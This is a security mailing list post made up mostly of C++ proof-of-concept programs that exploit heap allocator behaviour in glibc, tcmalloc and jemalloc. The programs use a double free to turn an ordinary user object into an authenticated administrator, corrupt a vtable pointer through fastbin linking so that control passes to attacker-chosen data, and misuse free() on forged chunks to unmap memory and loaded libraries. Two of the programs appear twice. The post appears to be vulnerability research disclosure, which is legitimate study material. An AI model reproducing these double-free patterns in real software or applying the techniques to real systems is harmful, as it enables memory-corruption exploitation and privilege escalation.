[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] double free's in glibc (and tcmalloc/jemalloc)



/* glibc fastbin / tcmalloc / jemalloc double destructor/free example
 *
 * This example demonstrates a pattern with a base type with a protected
 * destructor so as to avoid glibc's corruption of the vftable pointer,
 * that exact condition does not exhibit itself with jemalloc, however
 * there appears to be additional memory corruption in tcmalloc that
 * leaves the heap in a less than stable state, however it was not
 * further investigated.
 *
 * In this example, whether vtable verification is enabled or not is
 * irrelevant, as the same object type occupies the same memory location
 * and so all vptr's will correctly validate. However, the instance
 * variables are shared and thus the objects become entangled with
 * one another and a modification to the state of one object modifies
 * the state of the other. As such, the unauthenticated regular user
 * becomes an authenticated administrative user when the instance
 * variables in one instance are changed.
 *
 */

#include <cstdint>
#include <cstdlib>
#include <vector>
#include <iostream>

class user_base_type
{
private:
protected:
bool m_is_admin;
bool m_is_auth;

~user_base_type(void) {}
public:
user_base_type(bool auth, bool admin) : m_is_auth(auth), m_is_admin(admin)
{}
virtual void set_auth(bool a) { m_is_auth = a; }
virtual void set_admin(bool a) { m_is_admin = a; }
virtual bool get_auth(void) { return m_is_auth; }
virtual bool get_admin(void) { return m_is_admin; }
};

class user_type : public user_base_type
{
private:
protected:
public:
user_type(void) : user_base_type(false, false) {}
~user_type(void) {}
};

signed int
main(void)
{
user_type* o(nullptr);
user_type* t(nullptr);
user_type* h(nullptr);

o = new user_type;
t = new user_type;

delete o;
delete t;
delete o;

o = new user_type;
t = new user_type;
h = new user_type;

std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl;
 o->set_auth(false);
o->set_admin(false);
h->set_auth(true);
h->set_admin(true);

std::cout << "o auth: " << o->get_auth() << " admin: " << o->get_admin() <<
std::endl;
std::cout << "h auth: " << h->get_auth() << " admin: " << h->get_admin() <<
std::endl;

return EXIT_SUCCESS;
}

/* glibc fastbin's double destructor example
 *
 * This example doesn't actually double free.
 * Instead it takes advantage of heap state and the
 * fastbin linking mechanisms to redirect execution
 * flow to a pointer of the attackers choosing
 * when the destructor is called the same time.
 *
 * When vtable verification is absent, this will
 * attempt to call 0x4141414141414141 and segfault.
 *
 * When vtable verification is present, it will
 * do the same, however it will abort due to the
 * failure to verify the vftable. A work around
 * would be any condition where the attacker is able
 * to reconstruct the vftable of type_one inside of
 * m_buf/etc.
 *
 * This condition occurs because:
 * - p->fd = *fb
 *   *fb = p->fd
 *
 * Thus if an attacker can control the state of the
 * fastbin, and the data within the chunk at the top
 * of the fastbin, then they can cause the p->fd linking
 * which corrupts the vtable pointer to point to a
 * location of their choosing.
 *
 * The caveat being that the subsequent calls through the
 * vtable are sufficiently deep enough into the table
 * to point past the end of the heaps metadata for the
 * chunk.
 *
 * !!!!
 * JEMALLOC DOES NOT SHARE THIS CONDITION
 * !!!!
 *
 * tcmalloc seems to exhibit alternative memory
 * corrupt which makes the outcome less stable
 * however the what and why of it was not investigated.
 */

#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>

class type_one
{
private:
uint8_t m_buf[32];

protected:
/*
 * For the initial steps, the biggest
 * constraint is that vptr+offset to destructor
 * must be greater than the metadata in mallocs
 * chunk structures. In practice, this doesn't
 * seem to be overly problematic, for instance
 * in Qt everything is derived from QObject
 * with at least a few additional derived
 * classes. Thus what seems unreasonable or at
 * least bordering on it in this example really
 * isnt.
 */
virtual void method_one(void) {}
virtual void method_two(void) {}
virtual void method_three(void) {}
virtual void method_four(void) {}
virtual void method_five(void) {}
virtual void method_six(void) {}
virtual void method_seven(void) {}
virtual void method_eight(void) {}
virtual void method_nine(void) {}
virtual void method_ten(void) {}
virtual void method_eleven(void) {}

public:
type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); return; }
virtual ~type_one(void) { return; }
};

signed int
main(void)
{
type_one* one(nullptr);
type_one* pad_zero(nullptr);
type_one* pad_one(nullptr);

/*
 * What we are specifically abusing here is that
 * fastbin chunks are not doubly linked, and
 * they are linked into the fastbin freelist
 * via a construct akin to:
 * p->FD = *fb;
 * *fb = p;
 *
 * This has the side effect that our vftable
 * pointer is corrupted during free. However
 * depending on context of the application,
 * this can be useful to us; although only
 * in the presence of other failures like a
 * leak that discloses address space layout
 * and similar.
 */

pad_zero = new type_one;
pad_one = new type_one;

delete pad_zero;
delete pad_one;

/*
 * with a chunk whose data we can
 * control preceeding the object
 * we intend to double free,
 * we can seize control of
 * the instruction pointer here
 * providing that the data we control
 * is is outside of mallocs metadata.
 */
one = new type_one;

delete one; // <-- corrupts the vptr
delete one; // <-- attempts to call vptr+offset
//     which points to m_buf[x]

return EXIT_SUCCESS;
}
/* glibc unmap example
 *
 * This is not a super functional example and mostly
 * just a demonstration that you can trigger the 
 * unmapping of other sections of memory by abusing
 * free(). Depeding on the value of siz, its actually
 * possible to unmap mostly the address space and segfault
 * upon return, or segfault on the next libc call. 
 *
 * Depending on the precise layout of the application and
 * the siz of the unmapping, you can CHANGE THE BASE ADDRESS
 * for pre-existing modules. It seems like this might be useful
 * to replicate GOT/PLT writes in lazy bound applications or
 * similar, but that hasn't been overly explored.
 *
 * Furthermore, realloc() can be utilized in a similar manner,
 * however it is more likely to fail. There are some interesting
 * code paths inside of the mremap system call (as of 4.0.0) that
 * could cause it to return the pointer in question, so in some
 * bizarre scenario it may be possible to confuse an application
 * into allocating a pointer already allocated, however you would
 * need to have control of the pointer when it went into realloc
 * and at least set the mmap flag (0x02) at 
 * ptr-sizeof(struct malloc_chunk)+sizeof(size_t) which makes the
 * idea mostly useless.
 *
 * munmap is more useful, especially for large mappings because
 * they will tend to fall towards the beginning of the address
 * space preceeding the first loaded module, thus you can
 * manipulate the location and mappings of the entire address 
 * space this way, and as I said, possibly, potentially cause
 * GOT/PLT type SNAFUs, although that was unexplored.
 *
 * The major caveat that makes this generally unrealistic
 * is that you need to have control of the pointer passed to free()
 * and be able to ensure that the map flag is set and that the
 * pointer minus the prev_size bitwise or'd with the pointer 
 * plus the prev_size plus the mapping size is aligned properly. 
 * There is no check to ensure this arithmetic does not wrap around
 * the address space, however at times the masking of low-order bits
 * is problematic.
 *
 * At any rate, im sure in some weird set of exploitation circumstances
 * this knowledge could provide rather useful.
 */

#include <iostream>
#include <cstring>
#include <cstdlib>
#include <string>
#include <unistd.h>

signed int 
main(void)
{
        char*   ptr = nullptr; 
        char*   dst = nullptr; 
        size_t* siz = nullptr;

        malloc(1);
        for (size_t idx = 0; idx < 5; idx++) {
                ptr = static_cast< char* >(malloc(1024 * 1024 * 1024));
                dst = ptr+(4096-16);
                std::memcpy(dst, ptr-16, 16);
                siz  = reinterpret_cast< size_t* >(dst);
                *siz = 1024*1024*1024+512*1024; //+256*1024*1024; 
                dst += 16;
                free(dst);
        }

        // the _exit() is because we almost certainly
        // screwed up the loaded libraries in such a 
        // manner that the application segfaults when
        // their destructors are called...because data
        // or their instructions no longer exist.
        //
        // Yes, you can unmap loaded libraries, you can
        // unmap lots of them at the same time without
        // the loader being aware of it.
        _exit(EXIT_SUCCESS);
        return EXIT_SUCCESS;
}
/* glibc fastbin's double destructor example
 *
 * This example doesn't actually double free.
 * Instead it takes advantage of heap state and the
 * fastbin linking mechanisms to redirect execution
 * flow to a pointer of the attackers choosing 
 * when the destructor is called the same time.
 *
 * When vtable verification is absent, this will
 * attempt to call 0x4141414141414141 and segfault.
 *
 * When vtable verification is present, it will
 * do the same, however it will abort due to the 
 * failure to verify the vftable. A work around 
 * would be any condition where the attacker is able
 * to reconstruct the vftable of type_one inside of 
 * m_buf/etc.
 *
 * This condition occurs because:
 * - p->fd = *fb
 *   *fb = p->fd
 *
 * Thus if an attacker can control the state of the
 * fastbin, and the data within the chunk at the top
 * of the fastbin, then they can cause the p->fd linking
 * which corrupts the vtable pointer to point to a 
 * location of their choosing. 
 *
 * The caveat being that the subsequent calls through the
 * vtable are sufficiently deep enough into the table
 * to point past the end of the heaps metadata for the
 * chunk.
 *
 * !!!!
 * JEMALLOC DOES NOT SHARE THIS CONDITION
 * !!!!
 *
 * tcmalloc seems to exhibit alternative memory
 * corrupt which makes the outcome less stable
 * however the what and why of it was not investigated.
 */

#include <cstdint>
#include <cstdlib>
#include <cstring>
#include <string>
#include <vector>

class type_one
{
        private:
                uint8_t m_buf[32];

        protected:
                /*
                 * For the initial steps, the biggest
                 * constraint is that vptr+offset to destructor
                 * must be greater than the metadata in mallocs
                 * chunk structures. In practice, this doesn't 
                 * seem to be overly problematic, for instance
                 * in Qt everything is derived from QObject
                 * with at least a few additional derived 
                 * classes. Thus what seems unreasonable or at
                 * least bordering on it in this example really
                 * isnt.
                 */
                virtual void method_one(void) {}
                virtual void method_two(void) {}
                virtual void method_three(void) {}
                virtual void method_four(void) {}
                virtual void method_five(void) {}
                virtual void method_six(void) {}
                virtual void method_seven(void) {}
                virtual void method_eight(void) {}
                virtual void method_nine(void) {}
                virtual void method_ten(void) {}
                virtual void method_eleven(void) {}

        public:
                type_one(void) { std::memset(m_buf, 0x41, sizeof(m_buf)); 
return; }
                virtual ~type_one(void) { return; }
};

signed int
main(void)
{
        type_one*                                       one(nullptr);
        type_one*                                       pad_zero(nullptr);
        type_one*                                       pad_one(nullptr);

        /* 
         * What we are specifically abusing here is that
         * fastbin chunks are not doubly linked, and 
         * they are linked into the fastbin freelist
         * via a construct akin to:
         * p->FD = *fb;
         * *fb = p;
         *
         * This has the side effect that our vftable
         * pointer is corrupted during free. However
         * depending on context of the application, 
         * this can be useful to us; although only
         * in the presence of other failures like a
         * leak that discloses address space layout
         * and similar.
         */

        pad_zero        = new type_one;
        pad_one         = new type_one;

        delete pad_zero;
        delete pad_one;

        /* 
         * with a chunk whose data we can
         * control preceeding the object
         * we intend to double free,
         * we can seize control of 
         * the instruction pointer here
         * providing that the data we control
         * is is outside of mallocs metadata.
         */
        one             = new type_one;

        delete one; // <-- corrupts the vptr
        delete one; // <-- attempts to call vptr+offset 
                                //     which points to m_buf[x]

        return EXIT_SUCCESS;
}
/* glibc fastbin / tcmalloc / jemalloc double destructor/free example
 *
 * This example demonstrates a pattern with a base type with a protected
 * destructor so as to avoid glibc's corruption of the vftable pointer, 
 * that exact condition does not exhibit itself with jemalloc, however
 * there appears to be additional memory corruption in tcmalloc that 
 * leaves the heap in a less than stable state, however it was not 
 * further investigated.
 *
 * In this example, whether vtable verification is enabled or not is
 * irrelevant, as the same object type occupies the same memory location
 * and so all vptr's will correctly validate. However, the instance 
 * variables are shared and thus the objects become entangled with
 * one another and a modification to the state of one object modifies
 * the state of the other. As such, the unauthenticated regular user
 * becomes an authenticated administrative user when the instance
 * variables in one instance are changed.
 *
 */

#include <cstdint>
#include <cstdlib>
#include <vector>
#include <iostream>

class user_base_type
{
        private:
        protected:
                bool    m_is_admin;
                bool    m_is_auth;

                ~user_base_type(void) {}
        public:
                user_base_type(bool auth, bool admin) : m_is_auth(auth), 
m_is_admin(admin) {}
                virtual void set_auth(bool a) { m_is_auth = a; }
                virtual void set_admin(bool a) { m_is_admin = a; }
                virtual bool get_auth(void) { return m_is_auth; }
                virtual bool get_admin(void) { return m_is_admin; }
};

class user_type : public user_base_type
{
        private:
        protected:
        public:
                user_type(void) : user_base_type(false, false) {}
                ~user_type(void) {}
};

signed int
main(void)
{
        user_type*              o(nullptr);
        user_type*              t(nullptr);
        user_type*              h(nullptr);

        o = new user_type;
        t = new user_type;

        delete o;
        delete t;
        delete o;

        o = new user_type;
        t = new user_type;
        h = new user_type;

        std::cout << "o: " << o << " t: " << t << " h: " << h << std::endl;
        
        o->set_auth(false);
        o->set_admin(false);
        h->set_auth(true);
        h->set_admin(true);

        std::cout << "o auth: " << o->get_auth() << " admin: " << 
o->get_admin() << std::endl;
        std::cout << "h auth: " << h->get_auth() << " admin: " << 
h->get_admin() << std::endl;

        return EXIT_SUCCESS;
}
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/